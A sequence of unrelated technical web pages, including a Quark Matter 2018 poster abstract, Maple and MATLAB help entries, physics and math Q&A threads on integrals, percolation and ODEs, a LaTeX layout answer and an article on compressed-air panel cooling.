Landauer's principle expressed as "there is an energy cost to erasing information", is strictly speaking not true. You can erase a bit without paying an energy cost by exchanging it from a fresh zeroed bit from some pre-made empty computer memory, or by randomizing a spin or other conserved quantity that is in a no entropy initial state. But since such resources are rare, we typically have to pay energy to pump their random information into the background heat-bath of the universe, so practically the principle implies that thermodynamics demands a bit erasure cost.
Are these "fundamental" relationships? I don't know. But information requires a physical basis to be stored in, and such a basis will have energy.
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# Quark Matter 2018
13-19 May 2018
Venice, Italy
Europe/Zurich timezone
The organisers warmly thank all participants for such a lively QM2018! See you in China in 2019!
## Constraining heavy-flavour production mechanisms with dielectrons in pp collisions at $\sqrt{s}$ = 13 TeV with ALICE
15 May 2018, 17:00
2h 40m
First floor and third floor (Palazzo del Casinò)
### First floor and third floor
#### Palazzo del Casinò
Poster Open heavy flavour
### Speaker
Anisa Dashi (Technische Universitaet Muenchen (DE))
### Description
Correlated electron-positron pairs produced in heavy-ion collisions provide an excellent probe of the hot and dense strongly-interacting medium, i.e. the Quark-Gluon Plasma (QGP), created in such systems. They are produced at all stages of the collision without significant final-state interactions. Moreover, thermal radiation from the medium, both during the partonic and the hadronic phase, can be investigated through its internal conversion to e+e- pairs. In the intermediate mass region (1.2 – 2.8 GeV/c2), the measurement of thermal dileptons from the QGP is nevertheless challenging due to the dominant contribution from simultaneous semileptonic decays of correlated open heavy-flavour hadrons. The continuum yield in this mass region is sensitive to the energy loss of charm and beauty quarks in the QGP and further medium effects on the heavy-flavour hadron production. In order to understand the resulting modifications of the dielectron spectrum in heavy-ion collisions, a good understanding of the relevance of the various heavy-quark production mechanisms in proton-proton collisions is mandatory.
In this poster, the latest dielectron invariant-mass spectrum measured with ALICE in pp collisions at √s = 13 TeV is used to study the charm production mechanisms implemented in PYTHIA event generator. It will be shown how the relative importance of these processes can lead to model dependencies of the extracted charm cross section from a fit of the data.
Centralised submission by Collaboration Presenter name already specified ALICE Experiment
### Primary author
Anisa Dashi (Technische Universitaet Muenchen (DE))
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Logarithmic Functions - Maple Help
Units[Simple]
ln
natural logarithmic function in the Simple Units environment
log
general logarithmic function in the Simple Units environment
log10
common logarithmic function in the Simple Units environment
log2
binary logarithmic function in the Simple Units environment
Calling Sequence
ln(expr) log(expr) log10(expr) log2(expr) log[b](expr) ${\mathrm{log}}_{b}\left(\mathrm{expr}\right)$
Parameters
expr - algebraic expression b - algebraic expression, the base of the logarithm
Description
• In the Simple Units environment, any verifications of valid dimensions ignore so-called Unit annotations.
• In the Simple Units environment, the arguments for the logarithmic functions must be unit-free, and so is the result. If you would like the results to have a unit in the dimension of logarithmic gain, consider using the Standard Units environment.
• Every command in the Simple Units environment that needs to determine whether an expression is valid or not, does so using the Units[TestDimensions] command.
• For other properties, see the global function ln.
Examples
Notes:
– To enter a unit in 2-D Math input, select the unit from the appropriate Units palette. If the unit you want is not there, select $\mathrm{unit}$ and then enter the unit.
– When you edit a unit, double brackets appear around it.
> $\mathrm{with}\left(\mathrm{Units}\left[\mathrm{Simple}\right]\right):$
This input results in an error.
> $\mathrm{ln}\left(5.3\mathrm{Unit}\left(m\right)\right)$
However, the following can be legal: if $a$ has the dimension $\frac{1}{\mathrm{length}}$, then the argument to the $\mathrm{ln}$ function, $a⟦m⟧$, is unit-free.
> $\mathrm{val}≔\mathrm{ln}\left(a\mathrm{Unit}\left(m\right)\right)$
${\mathrm{val}}{≔}{\mathrm{ln}}{}\left({a}{}⟦{m}⟧\right)$ (1)
For example, $\mathrm{diopter}$ is a unit with the dimension $\frac{1}{\mathrm{length}}$.
> $\mathrm{eval}\left(\mathrm{val},a=7.5\mathrm{Unit}\left(\mathrm{diopter}\right)\right)$
${2.014903021}$ (2)
Conversely, if we evaluate at a float value for $a$, then the original error is triggered.
> $\mathrm{eval}\left(\mathrm{val},a=5.3\right)$
Compatibility
• The Units[Simple][log2] command was introduced in Maple 2021.
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# lp2hp
Transform lowpass analog filters to highpass
## Syntax
`[bt,at] = lp2hp(b,a,Wo)[At,Bt,Ct,Dt] = lp2hp(A,B,C,D,Wo)`
## Description
`lp2hp` transforms analog lowpass filter prototypes with a cutoff angular frequency of 1 rad/s into highpass filters with desired cutoff angular frequency. The transformation is one step in the digital filter design process for the `butter`, `cheby1`, `cheby2`, and `ellip` functions.
The `lp2hp` function can perform the transformation on two different linear system representations: transfer function form and state-space form. In both cases, the input system must be an analog filter prototype.
### Transfer Function Form (Polynomial)
`[bt,at] = lp2hp(b,a,Wo)` transforms an analog lowpass filter prototype given by polynomial coefficients into a highpass filter with cutoff angular frequency `Wo`. Row vectors `b` and `a` specify the coefficients of the numerator and denominator of the prototype in descending powers of s.
$\frac{B\left(s\right)}{A\left(s\right)}=\frac{b\left(1\right){s}^{n}+\cdots +b\left(n\right)s+b\left(n+1\right)}{a\left(1\right){s}^{m}+\cdots +a\left(m\right)s+a\left(m+1\right)}$
Scalar `Wo` specifies the cutoff angular frequency in units of radians/second. The frequency transformed filter is returned in row vectors `bt` and `at`.
### State-Space Form
`[At,Bt,Ct,Dt] = lp2hp(A,B,C,D,Wo)` converts the continuous-time state-space lowpass filter prototype in matrices `A`, `B`, `C`, `D` below
$\begin{array}{l}\stackrel{˙}{x}=Ax+Bu\\ y=Cx+Du\end{array}$
into a highpass filter with cutoff angular frequency `Wo`. The highpass filter is returned in matrices `At`, `Bt`, `Ct`, `Dt`.
## More About
collapse all
### Algorithms
`lp2hp` is a highly accurate state-space formulation of the classic analog filter frequency transformation. If a highpass filter is to have cutoff angular frequency ω0, the standard s-domain transformation is
$s=\frac{{\omega }_{0}}{p}$
The state-space version of this transformation is
```At = Wo*inv(A); Bt = -Wo*(A\B); Ct = C/A; Dt = D - C/A*B; ```
See `lp2bp` for a derivation of the bandpass version of this transformation.
## See Also
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# Tag Info
15
In the Born-Oppenheimer approximation nuclei are assumed to behave as classical point-like particles. However, in reality the wave-particle duality also applies to them, and so the Schrödinger equation should also be solved for the nuclei $I$ in the potentials $V^I({\bf R})$ generated by the electrons. The harmonic approximation implies not using the full ...
10
The zero-point energy is of no importance here, since you can always choose your reference energy freely you can energy-shift your hamiltonian by $\frac{1}{2}\hbar\omega$ $$H = \frac{p^2}{2m}+\frac{1}{2}m\omega^2x^2-\frac{1}{2}\hbar\omega,$$ and the physics of the system will stay the same (the wave function will be the same). Since this wavefunction is ...
7
Always use the energy after extrapolation back to 0 K. The energy before the extrapolation is just from your smearing method and is a fictitious value.
6
The quantum number n simply represents the different energy levels given by the harmonic oscillator. $\mathbf{n=0}$ does not correspond to a given temperature, but its relative occupation to other energy levels does correspond to a given temperature. As a system rises in temperature, the higher energy levels can be occupied at greater numbers. Likewise, at ...
5
As has been stated in several other answers already, $n$ is only a number, and the population of the states with different $n$ depends on the temperature. However, an important point has not yet been mentioned. The quantum harmonic oscillator is often invoked for nuclear motion. It arises from the second-order Taylor expansion of the Born-Oppenheimer nuclear ...
5
Is $𝑛$ only a number? In short, $n$ is the energy quantum number of the quantum harmonic oscillator. If so then how does $𝑛$=$0$ have anything to do with temperature? In particular, $n$=$0$ means that the harmonic oscillator will stay at its ground state. Usually, the ground state of a quantum system is assumed to be lived at zero temperature. Therefore,...
5
Is $n$ only a number? $n$ is indeed a number. Is it only a number? Well it's a quantum number which means it labels the $n^{\textrm{th}}$ excited energy level of the system (i.e. the $(n+1)^{\textrm{th}}$ smallest eigenvalue of the system's Hamiltonian, with $n=0$ corresponding to the smallest eigenvalue, $n=1$ corresponding to the second smallest ...
3
The Born-Oppenheimer (BO) approximation works well at high temperatures (far from 0 K), but the quantum nature of the nuclei (i.e. the zero-point energy) is an important consideration at low temperatures. A great example of this is the difference between the Einstein and Debye models of a solid. In the Einstein model, the nuclei are treated as identical ...
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## Site Tag Cloud
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• CommentRowNumber1.
• CommentAuthorUrs
• CommentTimeDec 7th 2018
starting a stub
• CommentRowNumber2.
• CommentAuthorDavid_Corfield
• CommentTimeDec 7th 2018
Here I guess.
• CommentRowNumber3.
• CommentAuthorUrs
• CommentTimeDec 7th 2018
Not sure what you mean by “Here I guess.”
But this made me notice that I had put the definition of $2T$ as the 24-cell into the entry of $2I$. Fixed now.
• CommentRowNumber4.
• CommentAuthorDavid_Corfield
• CommentTimeDec 7th 2018
That was from another thread where I was wondering where to add
The 120 vertices of the 600-cell form the binary icosahedral group.
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# A rough idea to prove $\int_{0}^{\infty}\frac{\sin(x)}{x}\frac{\sin(x/3)}{x/3}dx = \frac{\pi}{2} ?$
I have a rough idea of approach to prove the Borwein integral in $(1)$ via Complex-Analytic techniques, is it valid ?
$(1)$
$$\int_{0}^{\infty}\frac{\sin(x)}{x}\frac{\sin(x/3)}{x/3}dx = \frac{\pi}{2}.$$
From glancing at it seems one can consider an Indented Contour $\Gamma_{R}$, and define in $(1.2)$
$(1.2)$
$$\Gamma_{R}^{1}(t) = t \, \, \, \, \text{if} \, \, \, -R \leq t \leq -1/R$$
$$\Gamma_{R}^{2}(t) = e^{it}/R \, \, \, \, \text{if} \, \, \, \pi \leq t \leq 2 \pi$$
$$\Gamma_{R}^{3}(t) = e^{it}/R \, \, \, \, \text{if} \, \, \, \pi \leq t \leq 2 \pi$$
$$\Gamma_{R}^{4}(t) = Re^{it} \, \, \, \, \text{if} \, \, \, 0 \leq t \leq \pi$$
Our original integral $\Psi(x) = \frac{\sin(x)}{x}\frac{\sin(x/3)}{x/3}$ can be defined on $\Gamma_{R}$ as $\Psi(z)=\frac{e^{iz}}{z}\frac{e^{iz}}{z/3}$ so our original integral now becomes
$$I = \oint_{\Gamma_{R}}\frac{e^{iz}}{z}\frac{e^{iz}}{z/3}dz;$$
Then it seems via Cauchy's Theorem one has in $(1.3)$
$(1.3)$ $$\, \, \, \, \, \, \lim_{R \rightarrow \infty} \bigg(\oint_{\Gamma_{R}^{1}} \Psi(x)dx + \oint_{\Gamma_{R}^{2}} \Psi(z)dz + \oint_{\Gamma_{R}^{3}}\Psi(x)dx + \oint_{\Gamma_{R}^{4}} \Psi(z)dz \bigg) = 0$$
To finish the argument it seems one would have to invoke Jordan's Lemma on the last integral in $(1.3)$, then parametrize the integral over $\Gamma_{R}^{4}$ then in $(1.4)$ we have
$(1.4)$
$$\lim_{R \rightarrow \infty} \oint_{\Gamma_{R}}\frac{e^{iz}}{z}\frac{e^{iz}}{z/3}dz \rightarrow \int_{0}^{\pi}\frac{e^{ire^{i\theta}}}{re^{i\theta}}\frac{e^{ire^{i\theta}}}{re^{i\theta}/3}d\theta = \frac{\pi}{2}$$
• I think the initial "sketch" is wrong can anyone tell me why ? – Zophikel Feb 25 '18 at 4:18
• I do not get how $\sin(x)\sin(x/3)$ is converted into $e^{iz} e^{iz}$, for instance. – Jack D'Aurizio Feb 25 '18 at 17:53
• Yes I believe that's where the issue is I think $sin(x)sin(x/3)$ would be $e^{iz}e^{iz/3}$ I think that would remedy the issue. – Zophikel Feb 25 '18 at 17:55
• No, it does not fix it either. The imaginary part of $e^{iz} e^{iz/3}$ is not $\sin(z)\sin(z/3)$, but $\sin(z)\sin(z/3)$ is the real part of $\frac{1}{2}\left(e^{2iz/3}-e^{4iz/3}\right).$ – Jack D'Aurizio Feb 25 '18 at 17:58
• Then what would it be I'm not sure how to define the integrand on the contour – Zophikel Feb 25 '18 at 18:00
As an alternative to finding a suitable integration contour, the Laplace transform often deserves a thought. For any $a,b>0$ we have $$\begin{eqnarray*} I(a,b)&=&\int_{0}^{+\infty}\frac{\sin(ax)\sin(bx)}{x^2}\,dx=\int_{0}^{+\infty}\frac{\cos((a-b)x)-\cos((a+b)x)}{2x^2}\,dx\\&=&J(a+b)-J(a-b)\end{eqnarray*}$$ where $$J(c)=\int_{0}^{+\infty}\frac{1-\cos(cx)}{2x^2}\,dx = \int_{0}^{+\infty}\frac{\sin^2\left(\frac{c}{2}x\right)}{x^2}\,dx\stackrel{\mathcal{L},\mathcal{L}^{-1}}{=}\int_{0}^{+\infty}\frac{c^2}{2c^2+2s^2}\,ds=\frac{\pi}{4}|c|$$ ensures: $$I(a,b) = \frac{\pi}{4}\left(|a+b|-|a-b|\right)=\color{red}{\frac{\pi}{2}\min(a,b).}$$
• do you know what the error was in my attempted proof-outline I think I defined the integrand on the contour incorrectly – Zophikel Feb 25 '18 at 17:49
Perhaps you might be interested in seeing a real method used to evaluate this integral.
We begin by enforcing a substitution of $x \mapsto 3x$. This gives \begin{align*} \int_0^\infty \frac{\sin x}{x} \frac{\sin (x/3)}{x/3} \, dx &= \int_0^\infty \frac{\sin (3x) \sin x}{x^2} \, dx\\ &= 3 \int_0^\infty \frac{\sin^2 x}{x^2} \, dx - 4 \int_0^\infty \frac{\sin^4 x}{x^2} \, dx, \tag1 \end{align*} since $\sin (3x) = 3 \sin x - 4 \sin^3 x$.
For the first of these integrals, as is well-known $$\frac{\pi}{2} = \int_0^\infty \frac{\sin x}{x} \, dx,$$ (this is just the Dirichlet integral) enforcing a substitution of $x \mapsto 2x$ gives \begin{align*} \frac{\pi}{2} &= \int_0^\infty \frac{\sin (2x)}{x} \, dx = \int_0^\infty \frac{2 \sin x \cos x}{x} \, dx\ = \int_0^\infty \frac{(\sin^2 x)'}{x} \, dx\\ &= \left [\frac{\sin^2 x}{x} \right ]_0^\infty + \int_0^\infty \frac{\sin^2 x}{x^2} \, dx = \int_0^\infty \frac{\sin^2 x}{x^2} \, dx. \end{align*}
And for the second of the integrals, as we just found above $$\frac{\pi}{2} = \int_0^\infty \frac{\sin^2 x}{x^2}dx.$$ Enforcing a substitution of $x \mapsto 2x$ gives $$\frac{\pi}{2} = \frac{1}{2} \int_0^\infty \frac{\sin^2 (2x)}{x^2} \, dx.$$ Since $$\sin^2 (2x) = 4 \cos^2 x \sin^2 x = 4(1 - \sin^2 x)\sin^2 x = 4 \sin^2 x - 4 \sin^4 x,$$ we have $$\frac{\pi}{2} = 2 \int_0^\infty \frac{\sin^2 x}{x^2} \, dx - 2 \int_0^\infty \frac{\sin^4 x}{x^2} \, dx = 2 \cdot \frac{\pi}{2} - 2 \int_0^\infty \frac{\sin^4 x}{x^2} \, dx,$$ or $$\int_0^\infty \frac{\sin^4 x}{x^2}dx = \frac{\pi}{4}.$$
So returning to (1) we have $$\int_0^\infty \frac{\sin x}{x} \frac{\sin (x/3)}{x/3} \, dx = 3 \cdot \frac{\pi}{2} - 4 \cdot \frac{\pi}{4} = \frac{\pi}{2},$$ as required to show.
• I'm interested in whether my proof sketch of $(1)$ is wrong I think I missed up defining the integrand on the $\Gamma_{R}$ – Zophikel Feb 25 '18 at 13:01
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# Question 5669f
Aug 31, 2017
$E = \frac{2 c m l a m \mathrm{da}}{h} {E}_{k}$
#### Explanation:
I didn't get the answer of (2 π mc)/h times the KE, instead I got (2 λ mc)/h, but I hope the method is helpful. It is possible that there are one or two shortcuts that I missed.
My starting point is the following three equations from quantum physics:
- Photon Energy: $E = \frac{h c}{\lambda}$
- Electron Wavelength (de Broglie equation): λ = h/(mv)
- Electron Kinetic Energy: ${E}_{k} = \frac{1}{2} m {v}^{2}$
Rearrange equation 2 to get an expression for $m {v}^{2}$ so that we can substitute that into equation 3.
mv = h/lambda ⇒ mv^2 = (mv)^2 /m = h^2 /(mlambda^2 )
Now substitute that into equation 3
${E}_{k} = \frac{1}{2} \left({h}^{2} / \left(m {\lambda}^{2}\right)\right)$
Rearrange equation 1 to get an expression for the wavelength
⇒ lambda =(hc)/E
Substitute that into equation 4
${E}_{k} = \frac{1}{2} \left({h}^{2} / \left(m {\left(\frac{h c}{E}\right)}^{2}\right)\right) = \frac{1}{2} {E}^{2} / \left(m {c}^{2}\right)$
Make wavelength from equations 1 and 2 equal to each other to eliminate wavelength from the equations:
λ = (hc)/E = h/(mv) ⇒ E = mcv
Replace E² with E × E in equation 5 and substitute for one of the E's with the above expression.
E_k = 1/2 (E × mcv) / (mc²) ⇒ E = (2c)/v E_k
Lastly use equation 2 to get an expression for v and substitute that into the above equation.
$v = \frac{h}{m l a m \mathrm{da}}$
⇒ E = (2c)/(h/(mlambda)) E_k
⇒ E = (2cmlamda)/h E_k#
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Industrial Utility Efficiency
Control Panel Cooling Change Saves Compressed Air Electrical Costs
As a result of compressed air awareness training and a focus on energy management, two facilities in different parts of the world have reduced their compressed air demand substantially by removing vortex style control panel cooling from some of their electrical panels and reworking the cooling systems. These facilities were previously unaware of the high cost of compressed air and how much could be saved if other methods of cooling were used. This article describes some of their efforts in demand reduction.
A Canadian furniture manufacture had previously run into trouble, with the electrical relays and control transformers, in an electrical panel of a specialized machine used to make components for modular office furniture. The components in the sealed panel were overheating causing early failure. Simple fan powered ventilation was tried but excessive amounts of ambient sawdust entered the cabinets causing problems. The solution selected was compressed air powered vortex coolers pictured in Figure 1. These coolers have no moving parts, require little maintenance, and are simple to install, but the downside is the high cost of the compressed air used to power these units.
Importance of Awareness
In both of these cases the operators of the production equipment were unaware of the inefficiency of their chosen cooling method until they attended compressed air efficiency training and started tracking their costs. Bringing in a knowledgeable expert to do a walkthrough also helped them identify areas of improvement that could provide a substantial reduction in compressed air energy consumption and a significant energy savings for the plants. This shows the high value of attending compressed air training.
Time and time again the effectiveness of awareness training has been shown in plants all across the world. Attendees learn that compressed air is not free, it is one of the most expensive utilities used to transmit energy. Attendees learn ways to reduce compressed air costs by controlling their compressors better, producing compressed air more efficiently, reducing waste, and eliminating inappropriate end uses. These are two examples of the success of the training program and the significant benefits that can be gained in applying energy efficiency measures through new-found knowledge.
For more information visit the Compressed Air Challenge® website or contact Ron Marshall, Marshall Compressed Air Consulting, tel: 204-806-2085, email: [email protected].
|
# On bernoulli percolation, increasing events and Russo's formula
I am very new to this particular branch of probability theory, I try to be as formal as possible. In this question I consider bernoulli percolation as it is usually introduced as a first model (see for instance Geoffrey Grimmett).
Problem: Let $x,y \in \mathbb{Z}^d$. Prove that $f(p):= \mathbb{P}_p( x \leftrightarrow y)$ is strictly increasing in $p \in[0,1]$.
My approach: First of, let me just state that it is clear that $f(p)$ is increasing in $p$. Both, intuitively and rigorously. The event $x \leftrightarrow y$ (there exists an open path from $x$ to $y$) is an increasing event, i.e. opening up edges is beneficial for the event $x \leftrightarrow y$ and it is a straightforward result from percolation theory that if $A$ is an increasing event, then $p \in [0,1] \mapsto \mathbb{P}_p(A)$ is increasing.
The issue of course being that I want to establish that $\mathbb{P}_p(A)< \mathbb{P}_q(A)$ for $p<q$.
Here I consider it to be a good idea to use Russo's formula:
Theorem (Russo's formula): Let $A \in \mathcal{F}_E$ be an increasing event depending on the edges in a finite subset $F \subset E$ only. Then $p \mapsto \mathbb{P}_p(A)$ is differentiable, and \begin{align} \frac{d}{dp} \mathbb{P}_p(A) = \sum_{e \in F} \mathbb{P}_p(e \text{ is pivotal for }A) \tag{*}\end{align}
If I can use this formula to prove that $f'(p)>0$, then indeed $f$ is strictly increasing. Of course the event $A = \{x \leftrightarrow y \}$ is increasing and depends only on finitely many edges.
Consider dimension $d=2$, then I identified pivotal edges $e \in E$ as follows: An edge $e$ is pivotal (essential) for the event $x \leftrightarrow y$ if and only if there exists an open path from $x$ to $y$ going through the open edge $e$ (say $\gamma$) and there exists a dual open path (say $\gamma^*$) that connects the two endpoints of $e^*$ and is a circuit containing the point $x$.
The picture below (taken from P. Nolin Percolation) is related to said situation, it depicts the event $0 \leftrightarrow \partial B_n$ and shows the paths $\gamma$ and $\gamma^*$.
My Question: How do I complete the proof? I would be happy to understand it even just in the case of $d=2$. So far I have: $$f'(p) = \sum_{e \in F} \mathbb{P}_p( \exists \gamma, \exists \gamma^*) \overset{FKG}\geq\sum_{e \in F} \mathbb{P}_p( \exists \gamma) \mathbb{P}_p( \exists \gamma^*) \overset{?}>0$$
|
# “Jump” between columns
I am trying to create a two-column document where I can create sections such that the title of the section is in column 1 and the text of the section is in column 2. Like in the image but obviously I want to be able to add more sections and still have the title of each section line up with the text of each section.
# EDIT:
This is my document class:
\documentclass[a4paper,12pt, twocolumn]{article}
To create the piece of the image I posted I wrote:
\section{This is the title of the first section of this document}
\newpage
bla bla bla bla
\newpage
\section{Second section}
\newpage
bla bla bla bla
This yields the result I want except every section (obviously) ends up on a separate page.
• Welcome to TeX.SE! Can you show what you have tried so far? Which document class do you use? – Mensch Dec 9 '18 at 0:31
This is possible with titlesec:
\documentclass[a4paper,11pt]{article}
\usepackage[
right=3cm,
left=10.5cm,
]{geometry}
\usepackage[pagestyles]{titlesec}
\usepackage{microtype}
\usepackage{lipsum}
\titleformat{\section}[leftmargin]
{\normalfont}
{\makebox[3em][l]{\S\thesection}}
{0pt}
{\parbox[t]{\dimexpr7cm-3em}}
\titlespacing*{\section}
{7cm}
{2\baselineskip}
{0.5cm}
\renewpagestyle{plain}{%
}
\pagestyle{plain}
\begin{document}
\section{This is the title of the first section of this document}
\lipsum[1-2]
\section{Another section}
\lipsum[3]
\section{Another section}
\lipsum[4-5]
\end{document}
|
# Thread: Having Trouble With ODE Step
1. ## Having Trouble With ODE Step
Hey. Looking through my notes here and I'm having trouble with a jump they've made.
$
e^X+(Ye^X-X)\frac{dX}{dY}=0
$
This can be written as:
$
\frac{dY}{dX}+Y=Xe^{-X}
$
I've been sitting trying to see how the top line can be written as the bottom line but I seem to be stumped.
Any help would be greatly appreciated .
2. $e^{x}+(ye^{x}-x)\frac{dy}{dx}=0$
Mult by $\frac{dx}{dy}$ to get
$e^{x}\frac{dx}{dy}+(ye^{x}-x)=0$
Divide by $e^{x}$ to get
$\frac{dx}{dy}+y-xe^{-x}=0$
3. Ahh, It's seems very simple now. Thanks man .
4. Originally Posted by Macca567
Hey. Looking through my notes here and I'm having trouble with a jump they've made.
$
e^X+(Ye^X-X)\frac{dX}{dY}=0
$
This can be written as:
$
\frac{dY}{dX}+Y=Xe^{-X}
$
I've been sitting trying to see how the top line can be written as the bottom line but I seem to be stumped.
Any help would be greatly appreciated .
It is easy
$e^x + \left(ye^x - x\right)\frac{dx}{dy} = 0$
$e^x\frac{dy}{dx} + e^xy = x$
$\left(e^xy\right)^{'} = x$
$e^xy = \frac{x^2}{2} + C$
$y = \left(\frac{x^2}{2} + C\right)e^{-x}$
5. Originally Posted by Ment
It is easy
$e^x + \left(ye^x - x\right)\frac{dx}{dy} = 0$
$e^x\frac{dy}{dx} + e^xy = x$
The question was how to get to this line! You can't say "It is easy" and them just write it down!
$\left(e^xy\right)^{'} = x$
$e^xy = \frac{x^2}{2} + C$
$y = \left(\frac{x^2}{2} + C\right)e^{-x}$
|
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